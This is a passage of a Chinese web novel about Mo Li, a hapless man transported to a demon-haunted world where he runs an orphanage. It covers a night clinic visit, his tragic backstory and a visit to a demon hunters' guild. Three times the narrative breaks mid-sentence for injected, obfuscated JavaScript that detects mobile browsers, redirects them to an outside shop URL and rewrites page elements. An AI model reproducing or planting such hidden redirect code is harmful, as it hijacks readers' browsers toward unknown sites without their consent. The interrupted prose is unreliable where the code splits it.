理解莫离意思的崔西轻声发笑，“呵呵，莫离先生，有没有人说过你很有趣。” “听得我耳朵起茧了，没办法，有些人天生就自带幽默细胞，你走运了，我是8号街剧院专门逗人发笑的喜剧演员，一票难求。”莫离嘴巴跑起火车来就发狠了忘情了，哄得崔西一愣一愣的。 但崔西看向他的目光有些古怪。 片刻后，反应过来的崔西语气有些逗弄的轻佻意味，提醒道：“8号街没有剧院，只有男妓院。” 莫离：“……” 火车翻车了！ 他面色不改：“咳，角色扮演，你懂的。” 为了避免被崔西追问，莫离轻声补充：“要是你真想感谢艾琳薇，你就尊重她的意思，给她想要的东西。” 崔西怔了怔，没想到莫离会这样想。 尽管只有今晚的短暂接触，但他已经知道莫离就是那所四不管孤儿院的新院长。 也就是说，莫离只当了五天院长就已经能做到守护孩子的安危，尊重孩子的意愿这些许多父母终其一生都未必能做到的事情。 看来，莫离真是个好院长，好父亲。 他应道：“好。我会让她选自己喜欢的东西。” 氛围重新陷入寂静，只有煤油灯安安静静照亮前路。 整理完制服的崔西觉得气氛有些怪异，遂问道：“需要我帮忙抱艾琳薇让你换手吗？” 莫离人机棒读：“不用，感恩。” 好吧，看来是他自己觉得尴尬。 崔西的心安静许多，开始思索如何跟上面的人解释自己没有原地等候，而是跟着猎魔人一块儿去猎魔了。 走过6号街后绕几条路就来到了最近的一家诊所。 此时已经晚上十点多，大多数人早已安然睡下。街道宁静，灯光烛光都稀疏。 但汤姆医生的诊所还亮着光。 崔西上前，敲了敲紧闭的诊所门。 听到动静提心吊胆的汤姆医生握着手枪站在门后，“谁？” “警察，有人受伤了，请马上开门救人。” 崔西的声音响起，汤姆医生这才放下心来。 他收枪将崔西迎进来，而后看到后面抱着孩子的莫离，一瞬惊讶。 “她受伤了，而且还发烧了，请您帮忙看看她。”莫离一开口，汤姆医生才确定莫离的性别。 注意到艾琳薇伤势的汤姆医生没犹豫：“那马上跟我来！” 莫离跟着汤姆医生进入接诊房，将艾琳薇背部朝上小心放下。 汤姆医生动作娴熟而专业，很快给艾琳薇诊断出结果对症下药，并处理了艾琳薇背后的伤口替换了纱布。 半小时后，做完一切的汤姆医生擦了擦手，说：“还好背后伤口经过初期处理，没有感染，现在孩子只是受了惊吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498442|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和吹凉风导致发烧，吃些药，注意伤口，休息几天就没事了。” 说完，他再次看向莫离，心中疑惑：黑发的男人和什么发色的女人才能生出红发女孩？ 还是说，这女孩不是亲生的？ 崔西出声问：“汤姆先生，她需要在这儿住下观察情况吗？” “这个啊，如果不放心，可以在这儿住下观察一晚上，但我建议还是回家吧，现在时间不算太晚，孩子等一会儿醒来看到自己不在熟悉的房间，可能会感到不安。” 汤姆医生说出自己的建议和考虑。 莫离点头：“好我知道了，我什么时候能带她回去？” “现在，给你开一些药后你就可以带她走了。” 汤姆医生也没废话，给艾琳薇开了三天的药，退烧的，消炎的，镇定的。 他将药递给莫离，又问：“你的伤需要处理吗？” 自从莫离进来后，汤姆医生的注意力就被莫离的脸和艾琳薇的伤给吸引，此时才发现莫离衣服破了一半，依稀可见有一道伤疤从左胸蜿蜒而下。 莫离扯了扯衣服遮住身体，回答：“不用，我没受伤。” 汤姆医生也没多问，他隐约猜到了莫离的职业。 莫离很有可能是个猎魔人。虽然乍一看不像，但这种冷静的气质不是谁都有的。 “对了，医生，能不能借我个煤油灯？我明天还您。”莫离想起这茬事。 “我借你手电筒吧，这东西更方便。”汤姆医生从抽屉里拿出一个铁皮手电筒递给莫离。 这手电筒不算精致小巧，但按下开关就能亮十个小时。 莫离道谢后将药和手电筒提到左手，右手抱起睡着的艾琳薇。崔西付完钱后跟着他一起离开了汤姆医生的诊所。 崔西看了眼手表，晚上十一点。 “孤儿院有些远，需要我陪你……们吗？”崔西问。 莫离摇头，说：“刚刚那十枚银币的医药费我明天还给你。” 崔西下意识想说不用，想到莫离那番话硬生生改口：“好，那我等你。我在1号街警察局。” 莫离点点头，抱着艾琳薇走入黑暗。 崔西回忆起今晚的经历，脸上情绪复杂。片刻后，他也转身走进了黑暗。 - 七点，约定的时间，莫离没回来。 饥肠辘辘的孩子们分食了凯文瑞“突然”从壁橱发现的两个面包，根本没吃饱； 莫利亚和凯文瑞斯特洛姐弟认为莫离不回来了，但胡安迪和道格莉芙娅坚决认为再等等，教父先生就能回来； 八点，约定的时间过去一个小时，莫离还是没回来。 莫利亚在桌子前坐得端正，说教父先生确实不会再回来了，还有艾琳薇也失踪不见了，胡安迪和道格莉芙娅三人还是坚持再等等他就会回来； 九点，约定的时间过去两个小时，虚弱的道格再也坚持不住，回房躺下，走前鼓励胡安迪说教父先生一定回来的，斯特洛在一旁冷嘲热讽说他们天真； 十点，约定的时间过去三个小时，凯文瑞打着哈欠抱着娃娃从房间出来，表面关心实则讽刺还在坚持的胡安迪和莫利亚莉芙娅三人蠢傻，乐呵呵的胡安迪还以为她真的在关心自己，信心更足； 十一点，莫利亚和莉芙娅困得不行。莫利亚仔细地擦干净自己坐的位置，回房间睡觉去了，胡安迪将莉芙娅送回房间睡觉后再次等待莫离。 十一点过去，客厅只剩下忧心忡忡的胡安迪和等着看胡安迪热闹的斯特洛。 当十二点的钟声在耳畔响起，正在桌子上乱摆东西娱乐的斯特洛猛地站起身子。 他神情惊恐：“一天过去了院长大叔还没回来……他死了！” 斯特洛沮丧地垂下眼，只一会儿就马上欢呼雀跃，好耶，什么教父先生什么听话全都见鬼去吧！ 大孝子斯特洛此时高兴得像过节，开始在孤儿院狂奔乱跑唱歌： “院长死了！他一去不复返！像个见光死的吸血鬼！ 院长死了！他真愚蠢透顶！像个不讨喜的臭妖精！……” 被吵醒的凯文瑞走到客厅，用娃娃砸了一下他的脑袋：“斯特洛，闭嘴！” 斯特洛捂着脑袋，敢怒不敢言：“我这不是高兴吗……” 睡着的莉芙娅听到这些声响，惊慌失措地大哭起来。她打开房门，神情惶恐不安：“爸爸妈妈，我害怕……你们在哪儿……” 半夜的吵闹让道格从床上坐起来，咳嗽声在客厅都能听到。 而莫利亚也不可避免被吵醒，生气地走出来：“现在已是半夜，不要再为教父先生那个死人伤心了！艾琳薇也是，她失踪了！” 吱呀—— 打开门看到混乱一幕后听到莫利亚说自己死了的莫离：“？” 10. 情景重现（教父日常） “很遗憾，我不仅没死，还要宣布斯特洛你明天面包减半。”莫离淡定接话。 他可听清楚了，刚刚斯特洛那首“歌”是什么内容…… “可恶的院……教父先生！”吃了一惊的斯特洛听到这话，恶狠狠地哼了一声，愤怒转身跑回房间。 凯文瑞也很吃惊，为什么这个男人没死？ 她很快发现莫离身上的狼狈，意识到莫离不是没事，而是逃过一劫了。 “教父先生，既然您回来了，那我就回去睡觉了。”凯文瑞抱着娃娃转身回房，神情风轻云淡。 正在安慰莉芙娅的胡安迪看到莫离回来，几乎喜极而泣。他就知道，教父先生肯定会回来的！ 他拥抱着莉芙娅待在一边，乖巧等待莫离处理完所有事情。 “艾琳薇她……这是怎么了？”莫利亚发现莫离抱着的正是背后缠着绷带的艾琳薇，半吃惊半惊吓后退一步。 “发生了些意外，明天再说吧。” 莫离伸出一只手指贴近嘴唇，对孩子们说道：“嘘，先回去睡觉。教父先生说的。” 他声音平和，带着几分疲惫，没有刻意装出早前的“教导主任式”威严。 但剩下的孩子们纷纷安静，点点头。 确认艾琳薇伤得不轻后，莫利亚紧张地攥了攥衣角，像做错了什么事一言不发跑回房间。 莫离大概知道莫利亚为什么会觉得不安，因为昨天……额，现在是凌晨了，那就是前天。 前天，莫利亚和艾琳薇打了一架，就因为艾琳薇碰了他的东西。某种角度来说，艾琳薇离开孤儿院是因为他，而离开孤儿院就意味受伤。 这么一想，莫利亚就觉得自己是害艾琳薇受伤的罪魁祸首之一，开始不安。 莫离清楚自己身为院长，有责任调解孩子们的矛盾，但那是接下来的事情，眼下他还是先做好手上的事吧。 夜深人静，应该是睡觉的时候。 莫离先把艾琳薇带回房间，翻折被子让艾琳薇半趴着躺下，免得压到伤口； 再下楼照顾咳嗽的道格，以防咳嗽发展到发烧的地方； 然后简单换了身衣服，去哄睡因为应激而紧张不安的莉芙娅； 最后才来到胡安迪的房间，跟胡安迪道谢后，一边讲着“不得不听的小明500事”，一边陪着胡安迪陷入梦乡。 做完全部，莫离才开始回房休息，累得没力气，瘫软在床。 凌晨五点，只休息了三个小时的莫离睁开眼睛，先去道格的房间探了道格的体温，确认没有发烧后放下心来，悄悄出了门。 等再回来时，莫离手上多了一篮子面包，以及奶酪、鲜牛奶、火腿、鸡蛋。 他赶了最早的趟买了头炉面包，新鲜又好吃，拿来奖励除了个别邪恶小孩外的孩子们。 至于钱……跟崔西警官借的，到时候和药钱一块儿还。 莫离去道格的房间探了第二次温度。道格有点儿低烧，他不得不用沾水的手帕擦了擦道格的额头，确认体温没有再上升才返回厨房开始做早餐。 新鲜面包不用怎么加工就已足够招孩子喜欢，所以莫离没有处理面包，只切了片，分好份。 他将鲜牛奶煮热，等奶香四溢后倒进杯子里；紧随其后把切块的奶酪扔进还剩下一点牛奶的锅里，均匀搅拌，等奶酪全部融化后起锅将其浇在半片面包上。 至于培根，煎熟撒上胡椒粉，足以色泽诱人。鸡蛋的话，是留给他自己的。 原谅他还是不那么爱吃面包，所以他下了碗面，将溏心蛋卧在一边，旁边再放几片培根。 做完早餐，时间刚刚好，早上七点半。 平时最早起的莫利亚罕见地没早起，反而是斯特洛先起床了。 他眼中没有莫离，注意力全部停在莫离身后的早餐上。 “耶斯！终于有好东西吃了！”斯特洛被美食冲昏了头，全然忘记莫离昨日惩罚的话。 “斯特洛，听话的孩子才有面包吃。”面对刺头斯特洛，莫离的声音严肃几分。 斯特洛身子一抖，不情不愿地朝莫离僵尸式鞠躬，棒读：“教父先生，我向您表达最亲切的问候，早上好……” 莫离点点头，这才让斯特洛进了厨房。 孩子们陆陆续续清醒，刷牙洗脸来到客厅。 很久没有吃过齐全三件套早餐的孩子们看到桌子上摆着的奶酪面包、培根、牛奶，欢呼一声，在餐桌上狼吞虎咽起来。 “吃慢点，别噎到了。” 莫离端着给艾琳薇的早餐经过餐桌，看到这群小孩吃得开心的样子，不知道为什么，内心有种微妙的满足感。 上楼后，莫离敲了敲艾琳薇的房间门：“艾琳薇，你醒了吗？” “醒了……”艾琳薇的声音有些虚弱，有些沙哑。 莫离推开门，发现艾琳薇坐在床上，神情复杂，小小的脸，大大的忧愁。 “你感觉怎么样？”莫离将早餐放在床头柜上，坐下。 离得近了，艾琳薇的声音听起来明快许多，但还是疲惫的：“还好，院长……” 莫离简单问了几句身体状况，艾琳薇都说还好。确认没事，他正想走，艾琳薇忽然叫住他。 她咬着唇问道：“院长，你是最后看到托莉娜阿姨的人，她……是不是和你说了什么？” 莫离本来想说些无关紧要的谎话糊弄过去。 但是艾琳薇继续说道： “我的爸爸妈妈哥哥，他们也是被恶魔杀死的。大人们都告诉我，他们是因为摔下山崖死的，但我不知道不是的。 我不知道是什么恶魔杀死了他们，我只知道，人死前都会留下遗言。我的家人，他们就给我留下了遗言，写在纸上的遗言。 爸爸留给我的是‘爱你’，妈妈留给我的是‘我也是’，哥哥的遗言只写了一半，他说‘我还没买’，我猜后面那个单词是礼物的意思。他临走前跟我说过会把我想要的礼物买回来。” 说到这里，艾琳薇强忍着不流泪的倔强眼睛已经湿润。 “托莉娜女士是个好阿姨，她一点儿也不严厉。我喜欢她，可我喜欢的人总是离我而去。托莉娜阿姨也说过喜欢我，我在她心里应该是个好孩子，所以，我想问问，她有没有给我留下遗言？” 她望向莫离，眼泪在眼眶里打转，急切地想要知道答案。 莫离顿了几秒。 为什么会接管孤儿院这件事他完全可以埋在心底，然后说些威严的话来震慑孩子。 可是，这对孩子们不公平。 对于艾琳薇而言，托莉娜死得不明不白。他把事情隐瞒，那就是剥夺了艾琳薇对托莉娜的临终知情权。 “她确实说了什么。” “是什么？” “她说，让我好好看着你们长大。” 答案出乎意料，艾琳薇忍不住追问：“所以您才会对我们好吗？但是，为什么呢？为什么您因为托莉娜阿姨一句话就来我们孤儿院？ 您和她素不相识，只见过第一面吧？还是说，您其实早就和她认识了？可是，她从来没有跟我们提起过您……” 艾琳薇的问题太多，莫离不知道该从哪里开始回答。 他坐在床边，用手帕去轻擦艾琳薇的眼泪，垂眸轻声：“因为那天，原本该死的人是我，是托莉娜救了我……” - 莫离一直觉得，命运无常，谁也不知道下一秒会发生什么。 刚开始记事时，莫离的父母就因为无常的命运出车祸离世了。只比莫离大几岁的姐姐被迫担上重担，将莫离拉扯长大。 莫离的姐姐活泼善良，有时候很无厘头，爱讲些诸如：“你知道为什么企鹅的肚子是白色的吗？因为它手太短，洗澡只能够着肚子”之类的冷笑话。 说起谎来也是得心应手，嘴上跑的不是火车，而是飞船，能跑到外太空。 因此莫离不得不承认，莫家的冷幽默是天生的，一脉相承。 有人说，一个人由谁养大，身上就会有那个人的影子。 莫离觉得，自己在成为“满嘴跑火车的神经病冷幽默男”这条路上一去不复返就是因为姐姐的存在。 不过，就算姐姐将自己带歪，莫离也很感谢姐姐。 除了在日常照顾起居，姐姐还会倾听莫离的烦恼，在他每一年生日准备惊喜，在他因为做了古怪漫长的噩梦而应激后陪着他度过那段恍惚的日子。 在那个噩梦里，他被一群怪物围困，什么也听不懂，什么也不知道，第一次怀疑自己的存在，像个硬套在别人身体里的外星人。 这种感觉太糟糕，让他看到身边每一样东西都感到陌生、惶恐。姐姐就抱着他，安慰他，一遍又一遍告诉他，这里就是你的家，你不是外星人。 这样的日子，是父母离世后弥足珍贵的记忆。 但是正如莫离所相信的那样，意外总是乐此不疲地降临在未来的某一天，戏耍所有人。 莫离十五岁那年，墨丽城发生了一场强烈的地震。大地开裂，近三分之一的地区高楼像被敲碎的积木瞬间倾倒，人们的命运顷刻发生翻天覆地的变化。 莫家没有幸免于难，莫离和姐姐双双被掩埋在废墟之下。 受了伤的莫离被压在石板下面，伤口发炎，开始发烧。 姐姐就在隔壁，隔着一块巨大的水泥。 发生意外时，她冲过来想保护莫离，但还是迟了一步。 姐姐一直在鼓励莫离，说，小茉莉，你不要睡着啊，我给你讲笑话。 “小茉莉”是姐姐给莫离起的小名。 在她眼里，莫离一直都是自己可爱的、乖巧的，像茉莉一样纯真的弟弟。 莫离没力气，但还是应她，说，姐姐，你那笑话库要更新了，我已经听了三十多遍，倒背如流。 姐姐笑了，呵呵，那太好了，我后继有人了。 她边说边把药瓶从缝隙里推过来，小茉莉，你先吃药，姐姐刚从柜子底下翻到的。 莫离把药吃了，身体的不适有所消退，精神慢慢变好。 姐姐很欣慰，话开始变多。 她说，小茉莉，姐姐刚刚突然想到一个笑话，要不要说给你听。 她说，小茉莉，姐姐是真的想看到你以后结婚生子，子孙满堂。 她说，小茉莉，如果姐姐答应那些人的帮忙，我们是不是就不会那么辛苦。 她声音渐渐变轻，说，小茉莉呀，你要多笑笑，多笑笑就幸福了。 莫离这时候反驳说，姐姐，你倒因为果了，人只有幸福才笑得出来。 呵呵是么，那你要幸福啊……姐姐说着说着，忽然安静。 莫离慌张地大声喊她的名字，说她的糗事，却没有得到任何回应。 两天后，莫离总算被救了出去，左胸到腰间因为伤留下了永远的疤。 但姐姐永远离世了。她的尸体就在旁边，为了给莫离挖药，伤口二次感染，去世了。 你要多笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498443|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，多笑笑就幸福了……你要幸福啊…… 莫离觉得，自己是笑不出来了，别说笑了，没哭都算好的。 姐姐去世后，孑然一身的莫离成了孤儿，被墨丽城的官方安排到一对还算善良的夫妇家里成为他们的养子。 但是，这对夫妇善良归善良，养孩子是真不擅长，隔壁的张叔都比他们更懂得孩子的需要。 事实上，莫离觉得隔壁张叔比夫妇俩还要擅长养孩子，他教了他各种事情，当然，包括劝他别去做/鸭。 莫离很快成年，毕业后被安排进了一家公司。 命运再次以无常又恶劣的方式戏耍莫离，给他天降了一个难搞的老板。 公司里的同事都说莫离脾气好，什么请求到他面前都能应下，从来不急不恼。 有人甩锅给他，他接着；有人抢他的功劳，他让着；老板半夜三点让他来公司，他二话不说爬起来出门。 大家觉得莫离通透，觉得他洒脱，觉得他活得像一团棉花，怎么用力打过去都能软绵绵地把力道卸了，还冲人笑。 他们说，莫离，你是不是没心没肺啊。 莫离就熟练地开玩笑，被你们说中了，我年轻那会儿去过某黑心工厂兼职，不小心被挖了腰子和半个肝，现在真算是没心没肺。 同事还算好应付，莫离觉得老板才是令人恐惧的存在。简直像个无良的人渣，高岭之花，难以相处，还压榨他。 有一次，那老板问莫离，说，你知道我为什么用你？ 莫离罕见地没回答。 老板紧接着说了一番人渣得可怕的话。 他说，因为你脾气太好，像一堵不会倒的墙，所以我把所有东西都往你身上堆。 莫离眨了眨眼，微笑，嘴上说：“老板英明，你花了三千月薪就招到我这种员工，应该给你颁个奖。” 心里则骂：我靠，你个人渣老板还真把我当外星人整了。 被压榨的莫离不是不可以反抗。只是…… 斗争这种情绪太强烈了，他做不到。 因为什么都不想做，所以他做什么都可以。 如果不是姐姐换了他一条命，他早就不想活了。 如此种种，令莫离在被车创飞前的那一瞬间，想的不是姐姐，我对不起你，而是，我靠，总算可以解脱了。 但是偏偏，偏偏命运又又又对莫离开了个玩笑。 他穿越了！ 托莉娜告诉莫离，这是个恶魔和诡异盛行的世界，每个普通人的人生从出生那一刻起就被置于悬崖边上。 命运之风凛冽，随时会将人摔到崖底，四分五裂。 还没等莫离了解更多细节，一只恶魔横冲直撞过来。 那是只速度飞快，看不清楚身形的恶魔，吓了莫离一跳。 托莉娜一边让莫离快逃，一边挥舞手中篮子警惕四周。 莫离并没有逃，相反，他说着“这就是恶魔吗”，然后就不要命了一样开始和恶魔争斗。 也不算争斗，因为莫离只是不要命地挡在托莉娜面前，攻击力却堪比一根成年香蕉，连恶魔的毛都没摸到。 他一下子被恶魔贯穿胸膛，第三次临近死亡。 托莉娜意想不到莫离身为一个陌生人竟然愿意挡在自己面前，仿佛看到了什么惊奇、特别、难以言说的存在。 自从成为孤儿院院长，托莉娜仅有的战斗力便直线下降了。她很快被恶魔咬断大腿，摔倒在地。 断腿的托莉娜没有自己逃，而是抱起濒死的莫离，像抱着一只翅翼破损的黑白蝶。他的长发曳地，半遮住他正在褪去血色的脸。 托莉娜握住莫离逐渐冰冷的手：“我不知道你为何痛苦，但若是就这么死去，未免太过可惜。” 托莉娜契约了两只恶魔，一只能力未知，一只可以转移生命力。 能力未知的那只恶魔已沉睡许久，此时陡然出声，说些晦涩奇怪的话。 托莉娜一直听不懂这恶魔的话，但这一次，那恶魔总算说出了一句爱尼雅语： “拯救他。” 不用它说，她也知道。她已经看出莫离的自毁倾向，决心要帮助他。 下定决心的托莉娜身上开始散发一股猩红色的光芒，仿佛有什么东西在她身后的黑暗中睁开了一只巨大的眼睛。 托莉娜要做的，就是转移生命力，将莫离救活。 休克的莫离还在疑惑自己的走马灯为什么会是隔壁张叔、意图包养自己的金主、人渣老板，手上忽然传来清晰的、亲切的温暖温度。 他听见托莉娜说。 活着就是痛苦的，但是不活着，什么都没有。 我把我剩下的日子交给你，不是因为我活够了，而是你还不会活。 现在，请接替我的愿望。它很简单，那就是你要活下去，替我看着孩子们长大。 于是，清醒过来的莫离觉得时间好像被静止了一瞬间。 在那一瞬间，托莉娜身首异处。 好好活着，接替托莉娜的愿望…… 托莉娜的话成为了栓住自己第三次临近崩溃的人生的链条。 只是，莫离暂时还没意识到这一点。 - “因为那天，原本该死的人是我，是托莉娜救了我。就像一命换一命，她救了我，自己却死了，所以，我得帮助她实现她的愿望。” 好好看着你们长大。 当然，前提是他还活着。 艾琳薇哑口无言。 11. 一年要赚一百万！（双日常） “还有什么想问的吗？”莫离收起手帕。 艾琳薇的情绪已经稳定下来，攥着被角小声说：“没有……” 她觉得有些难为情，伸手去拿床头柜上的餐盘，提高音量掩饰自己的羞赧：“我要吃早餐！没有什么事情了！” 莫离看了眼艾琳薇乱糟糟的短发，起身离开：“那我先走了，你慢慢吃。” 走到门口，他想起卡罗莱的话，转头：“昨天那个姐姐卡罗莱说，等你醒后让我替她转告你，你是个很棒的小女孩。” 他顿了几秒，再次想到“鼓励教育”，也夸了一句：“你做得很好。” 艾琳薇正在咬面包的动作一顿，鼓鼓的脸蛋上那双红色眼睛有了光亮。 自从家人去世后就再也没听到过夸赞话的她埋下头，一言不发。 有眼泪蓄在眼角，但她倔强地没让它落下，而是在莫离关门后才吸了吸鼻子，抬手用力擦去。 莫离下楼，发现莫利亚和凯文瑞斯特洛三人各回各房了，只有胡安迪和道格坐在椅子上陪莉芙娅读书。 忙了一早上的他端出自己的那碗面，美美享用早餐。 三个小孩读的应该是托莉娜留下来的书，里面的语句对于三个年龄加起来还没鞋码大的小孩来说属实是超纲了，时不时就要问他问题。 “教父先生，这个［雇员］是什么意思？” 他一边吃东西一边回答：“就是给别人当牛马打工的意思，你们懂的，牛和马都得干活，雇员也就是老板的牛马。” 孩子们似懂非懂，过了一会儿又问：“教父先生，这个［歌剧院］又是什么意思？” “哦就是一群人表演故事的地方，一般花钱才能进。” “那这个［轮渡］是什么意思？” “就是很大的船，把人从水上这头运到水上那头。” 孩子们的问题一个接一个来，听得莫离咬了咬筷子，心想是不是得送孩子们上学？ 虽然说他也不是不能教，但剥夺孩子们和同龄人一起体会上学的乐趣好像不太好。 童年和青春在当下往往显得没那么重要，直到成长后回首才会发现弥足珍贵。 如果孩子们能通过和同龄人一起上学拥有一段友谊，他乐见其成。 莫离默默算了笔帐，把最后一口汤喝完后猛地站起身。 他现在是一个穷光蛋，没有经济基础，什么设想都无法成立！ 而且他还欠崔西警官钱…… 必须先去一趟猎魔公会拿报酬。 - 猎魔公会比昨天还要安静，莫离刚踏入前楼，一股诡异的气氛便裹绕身周。 卡罗莱没睡觉，正在柜台后摆弄那把短刀，看起来像在被什么事情困扰，神色焦灼。 抬眼看到莫离，卡罗莱脸上才露出笑容： “啊小茉莉你来了，是来拿报酬的对吧？稍等，我现在去找财务官把钱拿过来。” “有劳了。” 卡罗莱介绍过，猎魔公会的财务官是一个深居简出的年轻人，常年待在公会某栋房子的阁楼。 一个人负责整个奥德里尔区的猎魔公会里武器损耗、任务报酬分配、公会资金各类支出收入工作，堪称拥有三头六臂。 片刻后，卡罗莱拿着一袋银币回来了。 “昨天的恶魔不在任务单上，所以报酬根据猎杀的恶魔危险程度进行分配。越危险得到的报酬就越高，那只恶魔被认定为未成形[祸物级］，根据规则，完成猎杀能获得1000银币。诺，这是你的那一份，一共500银币。” 500银币！5万块钱！ 接过一袋子“巨款”的莫离有种一朝翻身做主人的感觉。 前不久他还是一个穷光蛋，现在只靠一个猎魔任务就赚了五万块钱！ 猎魔人工作果然暴利啊，那个醉鬼大叔诚不欺人，他完全可以躺平了！ 等等…… 正在做躺平梦的莫离突然想起自己现在不是一个人，还要养一群小孩。 想起来之前算的粗账，要将七个孩子养大成人，他每年起码得赚够一百万！ “我们四个人一起完成猎杀，我应该是二百五，咳，得到二百五吧？”莫离有些疑惑。 卡罗莱轻笑耸肩：“因为你是主力啊。我们都知道要是没有你，猎杀不会那么顺利。按劳分配，合情合理。 而且崔西警官不算猎魔人，猎魔公会一个子儿都不会给他的。” “……”好像无法反驳。 莫离把钱袋收起来，淡淡的表情淡淡地问：“猎魔公会是不是发生了什么？” “小茉莉你直觉那么敏锐？”卡罗莱惊讶。 莫离：“……你的表情太容易懂了。” 卡罗莱下意识抬手捂脸，嘴上嘟囔着“维加斯那家伙也这样说过，难道我真的不擅长藏表情？……” 她放下手，坦言：“猎魔公会确实发生了些意外。昨天下午维加斯不是去讨伐一只［祸物级］恶魔吗？以他的实力，那完全是件易如反掌的事情，然而，中途发生意外，讨伐最终失败了。” 意外？ “是因为恶魔吗？”除了恶魔，莫离想不到其他理由。 卡罗莱点点头：“没错，那只恶魔能力古怪强大，毫无疑问，是一只［灾祸级］恶魔。” “而且，它还在持续成长，维加斯感到棘手，一回来就让所有有空的猎魔人去进行调查了。 虽然它很有可能会跑到隔壁的利利亚斯，或者逃窜到更远的地方，但维加斯断言，如果不早点儿讨伐掉那只恶魔，奥德里尔将陷入毁灭境地。” “嘶——”莫离轻轻吸了口气。 卡罗莱以为他在惊叹恐惧，正想说“我们会处理的，相信我们，相信维加斯”，却听见莫离问：“我能不能参加讨伐？” 卡罗莱：“？” 莫离朝她眨了眨眼睛，那对漂亮得像黑火山冰湖的黑棕色瞳仁流露出难掩的认真：“这份工作肯定有很多钱吧？” 卡罗莱：小茉莉你原来是为了钱啊！ 她脑子里关于莫离是个辛苦养孩子的老父亲印象再度加深，同情更浓。 莫离见她没反应，向前挪一步，再问一遍：“这份工作能有很多钱吧？能不能加我一个？” 卡罗莱后退一步，有些犹豫，“这个……” 按理来说莫离是个新人，不管是权限还是能力都不应该参与那只恶魔的讨伐，可是她不太忍心看到莫离失望的神情。 虽然她根本没见过莫离失望的神情。 她偏开视线：“好、好吧，我个人同意你参加讨伐，但维加斯那边不一定同意……” 话说一半她猛地转身，急匆匆往公会前楼深处走，音量提高：“我现在去帮你问问……” “感恩！” 等卡罗莱走远后，莫离抬步走到地下室门前，推开了门。 “墨特西亚老爷子，你在吗？” 他避开那堆笼子里关着的能让人San值直掉的恶魔，蹑手蹑脚地寻找墨特西亚。 “找我做什么？”墨特西亚的声音冷不丁从身后响起。 莫离回头，看到墨特西亚左手提着一个铁桶，里面装着奇怪的肉块。 关于莫离，墨特西亚的印象绝对不算差，毕竟莫离能打败难缠的恶魔兔子实在令人意外。 但也绝对不算好。莫离那与形象不匹配的神秘能力像根针扎在他心里，让他不得不警惕。 莫离微笑，把手伸进口袋，再伸出来。 他张开手，在墨特西亚的注视下，手指轻巧一翻，一枚银币凭空出现在指间。 修长的手指灵活转动，那枚银币仿佛跳舞的精灵在他指间翻动，最后一下子被他夹在食指和中指间。 活像变魔术，精巧有趣。 墨特西亚不能说是第一次见这种小把戏，好整以暇地等待着莫离接下来的举动。 莫离微微弯腰，对墨特西亚道：“老爷子，可以请你伸出手吗？” 墨特西亚想了想莫离不能对他怎么样便照做，皱老的手悬在半空。 莫离两指夹着银币，将它轻轻放在墨特西亚掌心，笑道：“请你喝下午茶。” 哦？墨特西亚脸上浮现出一丝意外的神情。 但他也没客气，握拳将银币塞进口袋，皱巴巴的眼皮微抬，完全看透了莫离：“小伙子，想问什么？” 莫离惊喜：“哈哈你能意会我的意思太好了，你是公会的老前辈，知道的肯定比其他人要多，所以我向你请教一些问题来了。不过，我想先问一句，你应该乐意回答吧？” “只要不是一些禁忌的问题。”墨特西亚还是那一副淡定的老前辈模样，只不过佝偻的背悄悄挺直了一些。 莫离点点头，“老爷子，你知道哪儿有可以定制武器的手艺人吗？” “你想定制新武器？”墨特西亚凹陷的深眼微眯，“公会的武器不称手吗？” “我还以为你会说我没钱怎么定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498444|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制武器呢？”莫离无奈一笑，“实不相瞒，昨天我第一次出任务，用的那把弯刀不仅不称手，而且只用了两三下就豁口了。 仔细想了想，决定还是定制一把武器，耐用点的。” 好武器猎魔效率才更高，为了猎魔，先升级基础配置吧。 定制的武器确实比随便的武器会更好用，而且好的武器用得越久越得心应手，能在战斗中增加不小便利。 墨特西亚记得，爱尼雅大都市有的猎魔人能将特别的武器运用得出神入化，甚至因为专武有了特别的名讳。 所以莫离想定制武器的愿望完全可以理解。 墨特西亚提着铁桶往笼子走近，一边将桶里的奇怪肉块扔进笼子一边说：“奥德里尔没有专业的锻器师，那个家伙住在利利亚斯，往返得花两三天。” “这些是什么？”莫离边说边伸手抓肉块帮忙喂恶魔，继续问：“去拜访他就能找他定制武器对吧？“ 墨特西亚先回答莫离前一个问题：“恶魔肉。如果说人肉是美食，这些东西对它们来说就是味如嚼蜡的渣滓，但在我手下，它们不吃也得吃。” 他睨了眼莫离毫不嫌弃抓着肉块的手，麻利地将剩下的恶魔肉均匀地扔进笼子里。 